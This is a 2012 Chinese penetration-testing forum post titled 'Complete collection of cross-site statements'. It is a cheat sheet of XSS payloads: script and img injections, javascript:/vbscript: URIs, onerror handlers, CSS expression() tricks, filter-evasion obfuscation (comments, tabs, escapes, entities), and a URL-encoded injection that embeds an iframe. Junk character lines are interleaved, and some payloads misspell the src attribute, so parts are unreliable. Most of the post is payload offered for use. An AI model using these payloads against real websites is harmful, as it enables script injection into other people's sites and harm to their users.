中国网络渗透测试联盟
标题:
跨站语句大全
[打印本页]
作者:
admin
时间:
2012-9-13 17:15
标题:
跨站语句大全
<script>alert("跨站")</script> (最常用）
/ [, e0 o6 U( j
<img scr=javascript:alert("跨站")></img>
1 z% o' o4 V6 i
<img scr="javascript: alert(/跨站/)></img>
. H3 [8 p: |* u2 g) w* h" t
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
' Q, k% ?8 d6 Q6 J5 [# L `
<img scr="#" onerror=alert(/跨站/)></img>
: t f4 F* r$ b7 H$ m
<img scr="#" style="xss:expression(alert(/xss/));"></img>
, \# u4 d R0 P/ h5 Z
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
, j" Z# S' C7 O8 I+ u
<img src=vbscript:msgbox ("xss")></img>
% [# L( V! ~: w
<style> input {left:expression (alert('xss'))}</style>
! L. {! N/ f% l
<div style={left:expression (alert('xss'))}></div>
* ?% s1 N$ _, D0 A6 `
<div style={left:exp/* */ression (alert('xss'))}></div>
+ o; [+ s2 S# h7 _* ?" N- y. K. n
<div style={left:\0065\0078ression (alert('xss'))}></div>
# `$ R+ X7 u, F/ Y% C! Z% C$ |
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
9 N) R/ h. L5 R
unicode <div style="{left:expRessioN (alert('xss'))}">
% K+ y7 S; |( O# A3 F! K6 s
$ c$ J5 g3 f; n) _4 H/ a: d b0 b
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
* z( `6 J5 H( N& z/ P
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2